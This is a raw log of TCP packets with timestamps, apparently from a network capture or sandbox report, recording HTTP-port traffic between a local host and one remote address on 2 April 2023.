Apr 2, 2023 09:51:05.945319891 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.945328951 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.945355892 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.945368052 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.945403099 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.945436001 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.945467949 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.945476055 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.945512056 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.945519924 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.945558071 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.945579052 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.945599079 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.945631981 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.945668936 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.945691109 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.945708036 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.945734978 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.945748091 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.945784092 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.945816994 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.945841074 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.945859909 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.945873976 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.945902109 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.945935965 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.945971966 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.946012974 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.946033001 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.946053982 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.946088076 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.946120977 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.946151972 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.946161032 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.946196079 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.946228027 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.946254015 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.946269035 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.946280003 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.946310043 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.946346045 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.946382046 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.946417093 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.946420908 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.946448088 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.946460962 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.947149992 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.951118946 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.951142073 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.951162100 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.951184988 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.951205969 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.951231003 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.951232910 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.951251984 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.951272011 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.951304913 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.951329947 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.951344013 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.951354027 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.951376915 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.951396942 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.951397896 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.951422930 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.951431990 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.951443911 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.951462984 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.951481104 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.951499939 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.951519966 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.951524019 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.951543093 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.951561928 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.951585054 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.951585054 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.951605082 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.951627016 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.951627970 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.951647043 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.951672077 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.951672077 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.951698065 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.951725006 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.951726913 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.951755047 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.951761007 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.951778889 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.951780081 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.951837063 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.951850891 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.951869965 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.951889038 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.951908112 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.951930046 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.951951027 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.951963902 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.951968908 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.951980114 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.951983929 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.951998949 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.952023029 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.952037096 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.952059984 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.952078104 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.952080965 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.952081919 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.952122927 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.952146053 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.952146053 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.952152014 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.952176094 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.952194929 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.952220917 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.952243090 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.952265024 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.952261925 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.952261925 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.952353001 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.952353001 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.962069035 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.962100983 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.962126017 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.962150097 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.962174892 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.962280989 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.966828108 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.966866970 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.966886044 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.966905117 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.966922998 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.966941118 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.966968060 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.967000961 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.967011929 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.967067957 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.967093945 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.967120886 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.967142105 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.967152119 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.967179060 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.967209101 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.967221022 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.967235088 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.967261076 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.967284918 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.967288971 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.967319012 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.967346907 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.967375994 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.967411041 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.967421055 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.967437983 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.967468023 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.967468977 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.967494965 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.967521906 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.967550039 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.967572927 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.967578888 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.967643023 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.967655897 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.967673063 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.967720032 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.967735052 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.967775106 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.967844009 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.967854977 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.967900038 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.967917919 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.967931986 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.967984915 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.968010902 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.968036890 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.968043089 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.968089104 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.968103886 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.968132019 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.968161106 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.968194008 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.968208075 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.968224049 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.968250990 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.968281984 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.968293905 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.968311071 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.968347073 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.968368053 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.968395948 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.968422890 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.968456984 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.968460083 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.968483925 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.968508959 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.968544006 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.968544960 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.968569994 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.968632936 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.968646049 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.968662024 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.968688011 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.968715906 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.968744040 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.968770981 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.968801975 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.968806028 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.968832970 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.968858004 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.968904018 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.968908072 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.968941927 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.968970060 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.968996048 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.969022036 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.969027042 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.969053030 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.969082117 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.969084024 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.969113111 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.969129086 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.969141960 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.969167948 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.969192982 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.969222069 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.969225883 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.969249964 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.969279051 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.969290972 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.969306946 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.969332933 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.969358921 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.969384909 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.969388962 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.969433069 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.969445944 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.969460964 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.969484091 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.969505072 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.969525099 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.969538927 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.969554901 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.969561100 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.969568968 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.969583988 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.969611883 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.969644070 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.969644070 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.969669104 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.969701052 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.969711065 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.969726086 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.969752073 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.969783068 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.969782114 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.969822884 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.969881058 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.969894886 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.969928980 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.969928980 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.969974995 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.970007896 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.970012903 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.970050097 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.970081091 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.970098019 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.970113993 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.970175982 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.970185995 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.970202923 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.970230103 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.970293999 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.970295906 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.970308065 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.970321894 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.970334053 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.970354080 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.970391035 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.970438004 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.970443010 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.970493078 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.970523119 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.970525980 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.970554113 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.970583916 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.970593929 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.970613956 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.970669031 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.970719099 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.970724106 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.970762014 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.970797062 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.970802069 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.970812082 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.970825911 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.970840931 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.970854044 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.970858097 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.970887899 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.970889091 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.970927000 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.972899914 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.972928047 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.972954988 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.972966909 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.972980976 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.973006010 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.973031998 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.973057032 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.973089933 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.973109961 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.973131895 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.973157883 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.973167896 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.973184109 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.973206997 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.973212957 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.973237038 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.973267078 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.973268032 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.973292112 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.973308086 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.973334074 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.973376989 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.973401070 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.973417044 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.973428011 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.973458052 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.973459005 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.973474026 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.973484039 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.973506927 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.973531008 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:05.973535061 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:05.973557949 CEST	80	49724	131.188.40.189	192.168.2.4
